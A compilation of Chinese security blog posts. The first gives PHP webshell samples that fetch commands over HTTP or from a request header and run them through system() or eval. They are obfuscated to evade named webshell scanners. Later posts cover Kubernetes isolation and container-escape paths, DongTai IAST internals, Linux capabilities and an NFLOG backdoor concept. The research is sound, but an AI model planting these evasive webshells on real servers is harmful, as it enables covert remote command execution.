0%

背景

在研究基于netfilter的后门时,我想到如果webshell可以创建af_packet、af_netlink等socket,就可以不使用$_POST$_GET等方式获取用户输入,因为某些webshell检测方式会标记$_POST$_GET等数据为污点,所以这种方式可以用来躲避检测。

不过很遗憾,从 https://www.php.net/manual/en/function.socket-create.php 文档中看,socket_create不支持创建af_netlink、af_packet类型的socket。

接着我又想到,我可以通过”端口复用”创建tcp服务来获取用户输入。比如和php-fpm、ssh服务做”端口复用”。

https://cloud.tencent.com/lab/search?searchtitle=lnmp 的实验环境里搭了一个php-fpm环境后,测试后发现无法做端口复用,应该是php-fpm服务监听的socket没有用SO_REUSEPORT选项。测试代码见 https://gist.github.com/leveryd/83038ce5b53a34435c9c0888235bf7bd

似乎上面两种思路都不行,最后我就想webshell能不能从远程获取用户输入呢,这样也不用$_POST$_GET等变量。沿着这个思路构造了几个样本,并在长亭的牧云百度的webdir验证了一下检出效果。

测试过程

第一个样本如下

1
2
3
<?php
$cmd=file_get_contents("http://127.0.0.1:9999/cmd");
system($cmd);

牧云标记出webshell,webdir没有检出。

即使改成下面这种用eval、字符串拼接,牧云也可以检出

1
2
3
<?php
eval('$cmd=file_get'.'_contents("http://127.0.0.1:9999/cmd");');
system($cmd);

不过加入随机数后,牧云就无法检出

1
2
3
4
5
6
7
8
<?php
function rand_char(){
$s = substr(str_shuffle(str_repeat("1t",1)), 0, 1); // 从"1"和"t"中随机选择一个字符
return $s;
}
$r=rand_char();
eval('$cmd=file_ge'.$r.'_contents("http://127.0.0.1:9999/cmd");');
system($cmd);

rand、mt_rand 生成的随机数,牧云是可以检出的

总结

最开始的思路是想避免$_POST$_GET等常见方式获取用户输入,最终绕过还是得靠不常见的随机数函数。

file_get_contents也可以改成socket,代码见 https://gist.github.com/leveryd/896b9fba137aa2d12ce8c7737d451852

PS:
在研究过程中,发现一个似乎比较少见的获取header的api,测试发现也可以绕过webdir

1
2
3
<?php
$headers=apache_request_headers();
eval($headers["X-TARGET"]);

背景

我想总结一下我理解的云原生安全,内容源于我的工作经历、我看到的公开分享、最近面试时被问到的。

kubernetes官方提出”你可以分层去考虑安全性,云原生安全的4个C分别是云(Cloud)、集群(Cluster)、容器(Container)和代码(Code)”,我也是从这个”4c模型”来理解云原生安全的。

kubernetes描述的4c模型 https://kubernetes.io/zh-cn/docs/concepts/security/overview/

下面就向你介绍我用”4c模型”怎么理解云原生安全的,在每一层描述风险和对应的缓解措施。

第一个C:代码(Code)

代码风险有两种,编码和第三方依赖,缓解这两种安全风险也有很多手段。

其中我觉得安全编码最重要的是在web框架提供统一的默认安全能力,就比如说orm框架预编译避免sql注入、react/vue等前端框架能将数据和代码分离来避免xss。通过检查业务代码有没有使用框架提供的不安全api来收敛风险。

第二个C:容器(Container)

kubernetes的命名空间并没有网络隔离的效果,默认情况下pod之间能互相访问、pod能访问宿主机、pod能访问vpc。当pod被getshell、pod服务存在ssrf漏洞时,就能攻击其他服务。

容器网络中也可以arp欺骗,有师傅分享过实战案例,可以见 https://github.com/knownsec/KCon/tree/master/2019/25日/针对Docker容器网络的ARP欺骗与中间人攻击.pdf

镜像中的基础镜像、安装的软件有可能版本比较低,存在历史漏洞。这种风险不一定能变成漏洞利用,提供镜像的服务商可能更关注这类风险。风险更大的场景是镜像中存在研发运维留在镜像中的敏感信息,比如pod中的应用想要和云服务通信时需要有ak/sk来签名或者sts,所以反编译应用或者查看环境变量后能看到ak/sk或者sts。

身份认证

pod中的进程可以用/var/run/secrets/kubernetes.io/serviceaccount/token文件中的服务账号作为集群中的身份,这里的风险是token文件是明文存储的,并且也没有办法确保所有pod中的应用api都实现认证鉴权。

Kubernetes 下零信任安全架构分析 文章中提到蚂蚁k8s集群中api服务认证和授权的设计,在服务网格场景中,通过sidecar、pod label、证书或者jwt来在请求中带上身份信息、通过sidecar校验身份和授权。

对于这个设计我有很多不明白的地方,比如 “在pod里curl其他应用,sidecar也会带上身份信息?这样不就相当于伪造身份了吗”。

## 网络隔离

风险是什么呢?

网络隔离是我认为”投入产出比最高、优先级最高”的一个事情。

默认情况下,pod是可以访问”k8s集群网络”、”宿主机网络”:

  • 可以访问宿主机上的服务
  • 可以访问”宿主机所在网络”的服务
  • 可以访问集群service、pod,并且不受”kubernetes namespace”限制

kubernetes namespace不是内核的namespace,而是”项目”的概念。一个项目应该属于一个 kubernetes namespace。

从pod攻击集群有很多手段,举两个例子。

如果集群部署在云虚机上,在容器中就可以访问特殊网段的”元数据服务”。在18年黑掉DigitalOcean的k8s服务案例中,攻击者通过metadata中的etcd凭证拿下k8s集群。在Shopify的hackerone报告中,攻击者通过ssrf漏洞获取谷歌云metadata中的集群证书信息。

在容器中也可以攻击宿主机上的服务。举一个我以前报告的漏洞为例,通过”容器中挂载宿主机根目录到容器后写入ssh key,然后在容器中连接宿主机ssh”我逃逸到了宿主机。当时我想如果业务方”禁止容器访问宿主机ssh服务”,逃逸过程就会受影响。

挂载宿主机目录后,也可以用static pod、cron服务来做攻击。怎么预防和发现这种利用手段是另外一个话题。

攻击者也可以在容器中对vpc、内网、集群服务做漏洞扫描。更多的kubernetes下的攻击手法和案例可以阅读 neargle大佬的总结

怎么做网络隔离呢?

一个比较常见的网络隔离效果如下:

对pod的限制:

  • pod不能主动访问”宿主机所在的内网”
  • pod不能主动访问宿主机
  • pod不能主动访问虚机metadata
  • pod能主动访问外网
  • 同一个”k8s namespace”下pod网络可以互通,不同”k8s namespace”下pod网络不通

同时,不应该限制宿主机网络:

  • node可以访问master
  • node可以访问外网

kubernetes的NetworkPolicy 并不能完全实现上面要求的网络隔离效果,因为它的默认策略是拒绝,用户只能加白。所以我们还需要借助其他的手段来做网络隔离,比如iptables。

一个简单的例子如下:在宿主机上执行下面的iptables (假设pod网段是10.233.69.0/24)

1
2
3
4
5
6
7
8
9
10
iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 192.168.0.0/16 -j DROP   // pod不能主动访问"宿主机所在的内网"
iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 10.0.0.0/8 -j DROP
iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 172.16.0.0/12 -j DROP

iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 169.254.169.254/32 -j DROP // pod不能主动访问metadata(华为云/百度云/amazon/azure)
iptables -I OUTPUT -m state --state NEW -s 10.233.69.0/24 -d 100.100.100.200/32 -j DROP // pod不能主动访问metadata(阿里云)

iptables -I OUTPUT -d 10.233.69.0/24 -j ACCEPT // 容器网络加白

iptables -I OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

利用内核漏洞逃逸的检测和阻断

The Route to Host:从内核提权到容器逃逸 提到多种利用内核漏洞做容器逃逸的手段,比如修改容器进程task_struct数据结构的nsproxy、cred字段,修改命名空间和capability。

有针对类似利用手法做检测的方案,比如 lkrg项目,检查进程cred等字段是否改变。

https://i.blackhat.com/USA-22/Wednesday/US-22-Fournier-Return-To-Sender.pdf paper中提到针对内核漏洞rop利用手法,通过eBPF检查commit_creds(prepare_kernel_cred(0))函数调用栈中是否有来自用户态空间的地址,达到类似smep、smap的效果。

镜像裁剪和运行时监控

https://containerjournal.com/features/sysdig-adds-ability-to-make-container-runtimes-immutable 提到sysdig产品提供了一个能力,能让”容器只运行白名单程序”。

https://github.com/falcosecurity/falco/blob/35db0b4a24344bc6c24022555f7d8531ad925136/rules/falco_rules.yaml#L3018 可以看到规则。

包括两种告警策略:

  • 发现chmod时
  • 发现open创建的文件有执行权限时

如果一个镜像裁剪到只留下必要的可执行文件,再加上面的运行时监控,就能削减很大的攻击面、容易发现威胁。

第三个C:集群

蚂蚁集团针对 K8s 中 Secret 安全防护的实践与探索 中提到针对secret对象实施的数据安全方案,相比于只在etcd中加密secret,还保护了apiserver内存中没有secret。个人感觉大部分公司没有需求和动力做这个建设。

https://github.com/knownsec/KCon/blob/master/2021/kubernetes中的异常活动检测.pdf paper中提到通过kubernetes的审计机制、创建蜜罐账号来发现集群中的攻击行为。

总结

总结了code、container、cluster三层的风险和缓解措施,对于其中我自己觉得比较重要或者有意思的部分内容做了多一点说明。

kubernetes攻防矩阵 也是一个做云原生安全检测产品、云安全建设值得参考的模型。

背景

之前的工作中处理过一些洞态iast的漏报误报案例,也逐渐了解这个项目。

本文记录我对洞态iast基本原理的理解,毕竟不记一下过段时间就忘了。

本文内容包括:

  • 洞态做漏洞检测的原理
  • 洞态中的污点是什么
  • 源码分析java-agent的业务逻辑
  • 举个例子:洞态怎么检测mybatis写的sql是否存在sql注入

怎么做漏洞检测?

如上,用户可以在server端配置四类规则:

  • 污点源方法:是获取api、rpc请求信息的接口或者类签名,比如javax.servlet.ServletRequest.getParameter(java.lang.String)
  • 传播方法:是字符串拼接、编码等接口或类签名,比如java.lang.String.<init>(java.lang.String)
  • 危险方法:是高危函数,比如javax.naming.Context.lookup(java.lang.String)

源码中有三个重要的数据结构,TAINT_POOL存放污点对象,TAINT_HASH_CODES存放污点对象的hashCode值,TRACK_MAP存放调用关系

当代码执行到被hook的传播方法时,会根据用户配置的”污点来源”规则,拿到对象(一般是函数的某个参数)去TAINT_POOLTAINT_HASH_CODES搜索匹配。如果能匹配上,就会根据用户配置的”污点去向”规则,生成污点对象并放到TAINT_POOL中,并将污点对象的hashCodes存放到TAINT_HASH_CODES中,最后将传播方法的调用关系存放到TRACK_MAP

当代码执行到被hook的危险方法时,和传播方法的逻辑比较类似,不过没有”污点去向”。

这里的”污点”是什么呢?

污点是什么?

最重要的概念是对象的hashcode/identifyHashCode,hashcode/identifyHashCode作为数据的唯一跟踪方法会被加入到污点池中,也会被用来判断是否在污点池中。

下面我带你通过一个我遇到过的误报案例来理解这个概念。

因为Java中相同字符串对象的hashcode/identifyHashCode是不变的,如下

1
2
3
4
String a = "123";
String b = "123";
System.out.println(System.identityHashCode(a)); // 1289696681
System.out.println(System.identityHashCode(b)); // 1289696681

所以有时候即使危险函数的参数完全不可控,也会报警。如下代码中的iast17接口之前会误报(现已修复),因为iast会认为f.getName()返回的字符串对象123是污点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@ResponseBody
@RequestMapping("/iast17")
public String iast17(@RequestParam("name") String name) {
ArrayList<String> a = new ArrayList<>();
a.add("123");
a.add(name); // a对象会被标记成污点

Iterator<String> b = a.iterator();
System.out.println(b.next());
System.out.println(b.next()); // "123"会被标记成污点

File f = new File("123");
return f.getName(); // 返回值"123"被认为是可控的,会产生误报
}

iast为什么会认为”123”是污点呢?

因为执行a.add(name)时,下面的传播规则会使得a对象变成污点

在执行b.next()时,iterator.next()传播规则会让123字符串变成污点

流程浅析

collectMethodPool方法串联了”最重要”的业务流程。当java-agent启动时,会拉取server端规则,然后根据规则hook类,确保在被hook的方法执行前或者执行后能调用到collectMethodPool方法。在处理http请求时,collectMethodPool方法会判断当前是属于哪一类规则,并做对应的动作。

你可以从java-agent启动时和请求过来时两个场景来看业务逻辑。

java-agent启动时会找到所有jvm已经加载的类并重写字节码,如下

1
2
3
4
5
6
7
8
9
10
11
12
// https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/IastClassFileTransformer.java#L250

public void reTransform() {
...
Class<?>[] waitingReTransformClasses = findForRetransform(); // 找到所有待重写的类
...
for (Class<?> clazz : waitingReTransformClasses) {
...
inst.retransformClasses(clazz); // 用asm重新生成字节码
...
}
}

因此实现了对污点源方法、传播方法、危险方法的hook,并且使得执行方法前或者执行方法后,调用captureMethodState方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 污点源方法: https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/core/adapter/SourceAdviceAdapter.java#L26
public class SourceAdviceAdapter extends AbstractAdviceAdapter {
...
@Override
protected void after(int opcode) {
...
captureMethodState(opcode, HookType.SOURCE.getValue(), true);
...
}

// 传播方法: https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/core/adapter/PropagateAdviceAdapter.java#L31
public class PropagateAdviceAdapter extends AbstractAdviceAdapter {
...
@Override
protected void after(final int opcode) {
...
captureMethodState(opcode, HookType.PROPAGATOR.getValue(), true);
...
}

// 危险方法: https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/core/adapter/SinkAdviceAdapter.java#L31
public class SinkAdviceAdapter extends AbstractAdviceAdapter {
...
@Override
protected void before() {
...
captureMethodState(-1, HookType.SINK.getValue(), false);
...
}

captureMethodState 最终会调用collectMethodPool方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/plugin/AbstractAdviceAdapter.java#L103

protected void captureMethodState(
final int opcode,
final int hookValue,
final boolean captureRet
) {
...
invokeInterface(ASM_TYPE_SPY_DISPATCHER, SPY$collectMethodPool);
pop();
}

// https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/bytecode/enhance/asm/AsmMethods.java#L131

Method SPY$collectMethodPool = InnerHelper.getAsmMethod(
SpyDispatcher.class,
"collectMethodPool",
...
);

请求过来时,就会执行到collectMethodPool方法,方法中根据hookType处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// https://github.com/HXSecurity/DongTai-agent-java/blob/v1.7.7/dongtai-core/src/main/java/io/dongtai/iast/core/handler/hookpoint/SpyDispatcherImpl.java#L462

@Override
public boolean collectMethodPool(Object instance, Object[] argumentArray, Object retValue, String framework,
String className, String matchClassName, String methodName, String methodSign, boolean isStatic,
int hookType) {
// hook点降级判断
...
// 尝试获取hook限速令牌,耗尽时降级
...

...
MethodEvent event = new MethodEvent(0, -1, className, matchClassName, methodName,
methodSign, methodSign, instance, argumentArray, retValue, framework, isStatic, null);
if (HookType.HTTP.equals(hookType)) {
HttpImpl.solveHttp(event);
} else if (HookType.RPC.equals(hookType)) {
solveRPC(framework, event);
} else if (HookType.PROPAGATOR.equals(hookType) && !EngineManager.TAINT_POOL.isEmpty()) { // 处理传播方法
PropagatorImpl.solvePropagator(event, INVOKE_ID_SEQUENCER);
} else if (HookType.SOURCE.equals(hookType)) { // 处理污点源方法
SourceImpl.solveSource(event, INVOKE_ID_SEQUENCER);
} else if (HookType.SINK.equals(hookType)) { // 处理危险方法
SinkImpl.solveSink(event);
}
...
}

举个例子:怎么检测接口是否存在SQL注入风险?

后端服务用mybatis时,${变量}的sql写法容易造成sql注入,而#{变量}底层会使用预编译通常不会产生sql注入问题,如下

1
2
3
4
5
// 第一个sql:存在sql注入
select * from user where name=${name}

// 第二个sql:不存在sql注入
select * from user where name=#{name}

当用户请求/user?name=admin时,iast是怎么检查出第一种接口存在SQL注入风险,而不会对第二种接口误报呢?

实际上如果我们调试一下,就知道#$的写法调用的sql接口是有区别的,如下

1
2
3
4
5
6
// 使用${name}时
conn.prepareStatement("select * from user where name="admin")

// 使用#{name}时
pstmt=conn.prepareStatement("select * from user where name=?)
pstmt.setString(1, "admin")

洞态iast默认有一个危险方法规则是java.sql.Connection.prepareStatement(java.lang.String),当第一个参数是污点时,就会告警,规则如下。

所以使用${name}时,admin字符串对象是污点,"select * from user where name="admin"字符串对象也会被标记成污点,于是命中危险方法规则,产生告警。

总结

学习iast时阅读官方文档和代码调试很有用,java-agent调试可以看 https://doc.dongtai.io/docs/development/dongtai-java-agent-doc/agent-debug

背景

虽然官方文档(man capabilities)和《Linux 内核安全模块深入剖析》书的第六章对”能力”有很全面详细的描述,但是我之前遇到了两个和能力有关的案例,从文档中看不出来原因,只好猜测原因并从源码中确认结论。

本文记录这两个特殊案例,加深自己对”能力”概念的理解,也希望能对linux安全有兴趣的读者有点帮助。

第一个案例是普通用户执行dumpcap时可以按照预期运行,而strace dumpcap时提示权限不足。如下

更详细的问题背景可以见正文,或者看我提的issue: https://github.com/strace/strace/issues/221

第二个案例是我好奇root用户执行su - test变成非root用户后会有哪些能力?

先来看第一个案例。

普通用户执行strace dumpcap时提示权限不足

研究这个问题的起因

基于netfilter的后门 文章中,我最早是用dumpcap -i nflog:2333代替tcpdump -i nflog:2333抓包的。

我在安装dumpcap命令、添加x权限后,发现非root用户也可以用dumpcap抓整个主机上的包。如下

1
2
3
4
5
6
7
[root@instance-h9w7mlyv ~]# yum install wireshark -y    // 安装dumpcap命令
[root@instance-h9w7mlyv ~]# chmod +x /usr/bin/dumpcap // 添加执行权限
[test@instance-h9w7mlyv ~]$ dumpcap -i eth0 // 抓eth0网卡的包
Capturing on 'eth0'
File: /var/tmp/wireshark_eth0_20220907165305_9Quu6X.pcapng
Packets captured: 17
Packets received/dropped on interface 'eth0': 17/0 (pcap:0/dumpcap:0/flushed:0/ps_ifdrop:0) (100.0%)

一个普通用户能够获取主机上的所有流量,听着就很不安全,所以我就想看看为什么非root用户可以用dumpcap命令监听网卡流量。

1
2
[test@instance-h9w7mlyv ~]$ getcap /usr/bin/dumpcap
/usr/bin/dumpcap = cap_net_admin,cap_net_raw+ep

如上,可以看到dumpcap有cap_net_raw文件能力。或许你知道只要线程有cap_net_raw能力,就可以用socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))创建socket来抓包。

所以可以猜测dumpcap也是用AF_PACKET socket抓包的,于是我想执行strace dumpcap看一下系统调用中是否有创建AF_PACKET socket。然后发现普通用户执行strace dumpcap时提示报错,如下

1
2
3
4
5
[test@instance-h9w7mlyv ~]$ strace -o strace.log dumpcap
Capturing on 'eth0'
dumpcap: The capture session could not be initiated on interface 'eth0' (You don't have permission to capture on that device).
Please check to make sure you have sufficient permissions.
...

这里就让我感觉很奇怪:为什么普通用户执行dumpcap时可以按照预期运行,而strace dumpcap时提示权限不足?

还有类似的现象:普通用户strace ping www.baidu.com也会提示权限不足

为什么普通用户执行strace dumpcap时提示权限不足?

man execve看到下面一段文档

1
2
3
4
5
6
7
8
9
The aforementioned transformations of the effective IDs are not performed (i.e., the set-user-ID and set-group-ID bits are ignored) if any of the following is true:

* the no_new_privs attribute is set for the calling thread (see prctl(2));

* the underlying filesystem is mounted nosuid (the MS_NOSUID flag for mount(2)); or

* the calling process is being ptraced. // 进程正在被ptrace

The capabilities of the program file (see capabilities(7)) are also ignored if any of the above are true.

man capabilities看到下面一段文档

1
2
Note: the capability transitions described above may not be performed (i.e., file capabilities may be ignored) for the same reasons that the set-user-ID and set-group-ID bits are ignored; see
execve(2).

从文档得出结论:只要进程被ptrace,那么execve时就会忽略文件能力和set-uid/set-gid等。因为strace底层就是ptrace,所以似乎这个结论可以解释我遇到的现象。

但是当用root用户给strace文件添加能力后,普通用户运行strace dumpcap又可以正常工作,上面的结论就解释不通了。如下

1
2
3
4
5
6
7
8
9
10
11
12
13
[root@instance-h9w7mlyv ~]# setcap cap_net_admin,cap_net_raw+ep /usr/bin/strace   // 给strace文件添加能力
[root@instance-h9w7mlyv ~]#
[root@instance-h9w7mlyv ~]# su - test // 切换到普通用户
...
[test@instance-h9w7mlyv ~]$ getcap /usr/bin/strace
/usr/bin/strace = cap_net_admin,cap_net_raw+ep
[test@instance-h9w7mlyv ~]$ getcap /usr/bin/dumpcap
/usr/bin/dumpcap = cap_net_admin,cap_net_raw+ep
[test@instance-h9w7mlyv ~]$ strace -o strace.log dumpcap // strace dumpcap现在可以抓包
Capturing on 'eth0'
File: /var/tmp/wireshark_eth0_20220908182215_A7Uikl.pcapng
Packets captured: 11
Packets received/dropped on interface 'eth0': 11/0 (pcap:0/dumpcap:0/flushed:0/ps_ifdrop:0) (100.0%)

所以看起来,普通用户执行strace dumpcap后dumpcap进程的有效能力集是strace文件能力和dumpcap文件能力交集。

那到底是不是这样呢?

是不是交集?

strace dumpcap时,从用户态看strace原理大概如下

1
2
3
4
5
6
7
8
// fork后,strace子进程能力集和strace进程是相同的
pid_t pid = fork();
// 子进程
if (pid == 0) {
ptrace(PTRACE_TRACEME,0,NULL,NULL);
// 加载被调试的程序
execve("/usr/bin/dumpcap", NULL, NULL);
}

参考 Linux ptrace 的实现

内核在执行execve时,会执行到cap_bprm_set_creds函数,函数栈如下

1
2
3
4
5
6
7
8
9
10
[root@instance-h9w7mlyv ~]# bpftrace -e 'kprobe:cap_bprm_set_creds {printf("%s\n",kstack)}'
Attaching 1 probe...

cap_bprm_set_creds+1
security_bprm_set_creds+34
prepare_binprm+299
do_execveat_common.isra.37+1274
__x64_sys_execve+50 // execve系统调用入口
do_syscall_64+91
entry_SYSCALL_64_after_hwframe+101

代码位置在:https://elixir.bootlin.com/linux/v4.18/source/security/commoncap.c#L854

可以看到cap_bprm_set_creds函数会对能力做交集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int cap_bprm_set_creds(struct linux_binprm *bprm)
{
const struct cred *old = current_cred();
struct cred *new = bprm->cred;
...

ret = get_file_caps(bprm, &effective, &has_fcap); // 会从文件扩展属性中找到能力集合,赋值给brpm->cred相应字段

...
if ((is_setid || __cap_gained(permitted, new, old)) &&
((bprm->unsafe & ~LSM_UNSAFE_PTRACE) ||
!ptracer_capable(current, new->user_ns))) {
/* downgrade; they get no more than they had, and maybe less */
if (!ns_capable(new->user_ns, CAP_SETUID) ||
(bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) {
new->euid = new->uid;
new->egid = new->gid;
}
new->cap_permitted = cap_intersect(new->cap_permitted, // new->cap_permitted是execve后的进程允许能力集,当前的值是dumpcap文件的允许能力集
old->cap_permitted); // old->cap_permitted是当前进程的允许能力集,也就是strace fork后子进程的能力集
}
...
}

那strace进程的能力集是怎么来的呢?

strace进程的能力集是怎么来的呢?

strace进程能力是根据bash进程能力和strace文件能力,按照计算规则得来的,如下

那普通用户的bash进程能力集又是啥呢?它是怎么计算出来的呢? 这就是我的第二个疑问

普通用户的bash进程能力集是啥?

如下,可以看到普通用户的bash进程除了限制能力集其他能力集都是0

1
2
3
4
5
6
7
8
9
10
[root@instance-h9w7mlyv ~]# su - test
[test@instance-h9w7mlyv ~]$ ps
PID TTY TIME CMD
18042 pts/4 00:00:00 bash
[test@instance-h9w7mlyv ~]$ cat /proc/18042/status|grep -i cap
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000

test用户是useradd test创建的普通用户

对比可以发现: root用户切换test用户后,能力变少了。

1
2
3
4
5
6
7
8
9
[root@instance-h9w7mlyv ~]# ps
PID TTY TIME CMD
52739 pts/0 00:00:00 bash
[root@instance-h9w7mlyv ~]# cat /proc/52739/status|grep -i cap
CapInh: 0000000000000000
CapPrm: 000001ffffffffff
CapEff: 000001ffffffffff
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000

root用户通过su - test切换新用户后,为什么能力会变少呢?

为什么root用户切换到新用户后能力变少?

《Linux 内核安全模块深入剖析》6.4.2节中提到capset、capget、prctl三个系统调用都能改变进程的能力集,但是从下面可以看出来,su并没有用这三个系统调用

1
2
[root@instance-h9w7mlyv ~]# strace -f su - test 2>&1|grep -i cap
[root@instance-h9w7mlyv ~]# strace -f su - test 2>&1|grep -i -E '\bprctl'

在《Linux系统编程手册》39.6节中提到这种情况

1
2
3
4
为了与用户 ID 在 0 与非 0 之间切换的传统含义保持兼容,在改变进程的用户 ID(使用 setuid()等)时,内核会完成下列操作。

1. 如果真实用户ID、有效用户ID或saved set-user-ID之前的值为0,那么修改了用户 ID 之后,所有这三个 ID 的值都会变成非 0,并且进程的许可和有效能力集会被清除 (即所有的能力都被永久地删除了)。
2. 如果有效用户 ID 从 0 变成了非 0,那么有效能力集会被清除(即有效能力被删除了,但那些位于许可集中的能力会被再次提升)。

也就是说,当用户调用setuid系统调用从特权用户变成非特权用户时,允许能力集和有效能力集会被清除。

下面来验证一下,看看su程序是不是用到了setuid系统调用、setuid系统调用是不是真的可能清空能力集。

验证setuid和能力的关系

通过strace可以观察到su程序确实调用了setuid

1
2
3
[root@instance-h9w7mlyv ~]# strace -f su - test 2>&1|grep setuid
[pid 23628] setuid(1000 <unfinished ...>
[pid 23628] <... setuid resumed>) = 0

阅读内核代码后,也可以看到在cap_emulate_setxuid函数中内核清除了进程的能力集。

代码位置在:https://elixir.bootlin.com/linux/v4.18/source/security/commoncap.c#L1005

1
2
3
4
5
6
7
8
9
10
static inline void cap_emulate_setxuid(struct cred *new, const struct cred *old)
{
...
cap_clear(new->cap_permitted);
cap_clear(new->cap_effective);
...
cap_clear(new->cap_ambient);
}
...
}

cap_emulate_setxuid函数因为inline被内敛优化,所以没有办法被bpftrace观察到,但我们可以观察它的调用者cap_task_fix_setuid函数。

su - test时,可以观察到执行了cap_task_fix_setuid函数,并且有效能力集从0x1ffffffffff变成0。如下

1
2
3
4
5
6
7
[root@instance-h9w7mlyv ~]# bpftrace -e 'kfunc:cap_task_fix_setuid /comm=="su"/ {printf("%x,%x\n", ((struct cred*)args->new)->cap_effective.cap[0], ((struct cred*)args->new)->cap_effective.cap[1]);}'
...
ffffffff,1ff

[root@instance-h9w7mlyv ~]# bpftrace -e 'kretfunc:cap_task_fix_setuid /comm=="su"/ {printf("%x,%x\n", ((struct cred*)args->new)->cap_effective.cap[0], ((struct cred*)args->new)->cap_effective.cap[1]);}'
...
0,0

从setuid到cap_task_fix_setuid,函数调用栈如下

1
2
3
4
5
6
7
8
[root@instance-h9w7mlyv ~]# bpftrace -e 'kprobe:cap_task_fix_setuid /comm=="su"/ {printf("%s\n", kstack)}'
Attaching 1 probe...

cap_task_fix_setuid+1
security_task_fix_setuid+48
__sys_setuid+151 // setuid系统调用入口
do_syscall_64+91
entry_SYSCALL_64_after_hwframe+101

所以,setuid时root用户变成非root用户时,允许能力集和有效能力集会被清零。

总结

能力的计算机制感觉很复杂。

普通用户在执行strace xxx后,xxx进程的有效能力集可以认为是strace文件和xxx文件的允许能力集的交集。

调用setuid系统调用从特权用户变成非特权用户时,允许能力集和有效能力集会被清除。

通过阅读代码和bpftrace工具,可以定位到内核中处理能力的代码位置,进一步验证结论。

背景

蜜罐产品有个功能是对任何端口的访问都会被记录,即使是”nmap扫描后显示关闭”的端口访问也会被记录。它的实现原理是iptables的NFLOG。

学习NFLOG概念后,我想到也可以用它来做后门通信。

本文包括以下内容

  • 讨论NFLOG是什么
  • 用NFLOG机制实现后门的优势分析
  • NFQUEUE后门demo

希望能对主机安全感兴趣的读者有点帮助

NFLOG是什么

它是一个target,就像ACCEPTDROP等可以作为iptables -j后的参数值。

1
[root@instance-h9w7mlyv ~]# iptables -A INPUT -p tcp -m multiport --dports 1:65535 -j NFLOG --nflog-group 2333

比如上面规则就会告诉内核协议栈,在收到包时,目的端口是1到65535的包,全部执行NFLOG动作。

man iptables-extensions 文档中也有关于NFLOG的说明

1
2
3
4
5
6
7
8
NFLOG
This target provides logging of matching packets. When this target is set for a rule, the Linux kernel will pass the packet to the loaded logging backend to log the packet. This is usually
used in combination with nfnetlink_log as logging backend, which will multicast the packet through a netlink socket to the specified multicast group. One or more userspace processes may sub-
scribe to the group to receive the packets. Like LOG, this is a non-terminating target, i.e. rule traversal continues at the next rule.

--nflog-group nlgroup
The netlink group (0 - 2^16-1) to which packets are (only applicable for nfnetlink_log). The default value is 0.
...

-j NFLOG-j LOG有些类似,都可以记录数据包信息,执行动作后会继续匹配iptables规则中的下一条。区别是-j NFLOG可以让用户态程序通过netlink从内核获得数据包信息。

下面你可以和我一起做个小实验来验证一下,用户态程序是否可以通过netlink获取到数据包。

用tcpdump验证

第一步,你需要配置iptables的nflog规则。

1
[root@instance-h9w7mlyv ~]# iptables -A INPUT -p tcp -m multiport --dports 65530:65535 -j NFLOG --nflog-group 2333

第二步,使用tcpdump订阅netlink消息。

1
[root@instance-h9w7mlyv ~]# tcpdump -i nflog:2333

第三步,访问主机,验证tcpdump是否能获取到数据包。

curl x.x.x.x:65533 后,可以抓到数据包。

1
2
3
4
[root@instance-h9w7mlyv ~]# tcpdump -i nflog:2333
...
listening on nflog:2333, link-type NFLOG (Linux netfilter log messages), capture size 262144 bytes
11:42:15.175375 IP 111.197.238.30.22293 > instance-h9w7mlyv.65533: Flags [S], seq 3599662212, win 65535, options [mss 1452,nop,wscale 6,nop,nop,TS val 3053845653 ecr 0,sackOK,eol], length 0

或许你会有一个问题:tcpdump -i nflog:2333tcpdump -i eth0都可以获取数据包,有啥区别。

从编程实现来看是有区别的,tcpdump -i eth0是基于AF_PACKET获取数据

1
2
3
4
5
6
7
8
9
10
11
12
[root@instance-h9w7mlyv ~]# strace tcpdump -i lo
socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)) = 3
...
setsockopt(3, SOL_PACKET, PACKET_RX_RING, 0x7ffeef157d10, 28) = 0 // Packet MMAP提高抓包性能,参考 https://github.com/torvalds/linux/blob/master/Documentation/networking/packet_mmap.rst
mmap(NULL, 4194304, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0x7fedba9a5000
...
setsockopt(3, SOL_SOCKET, SO_ATTACH_FILTER, {len=1, filter=0x7ff0a4ee8000}, 16) = 0 // bpf filter
setsockopt(3, SOL_SOCKET, SO_ATTACH_FILTER, {len=1, filter=0x56436b7fe480}, 16) = 0
...
poll([{fd=3, events=POLLIN}], 1, 1000) = 0 (Timeout)
poll([{fd=3, events=POLLIN}], 1, 1000) = 1 ([{fd=3, revents=POLLIN}])
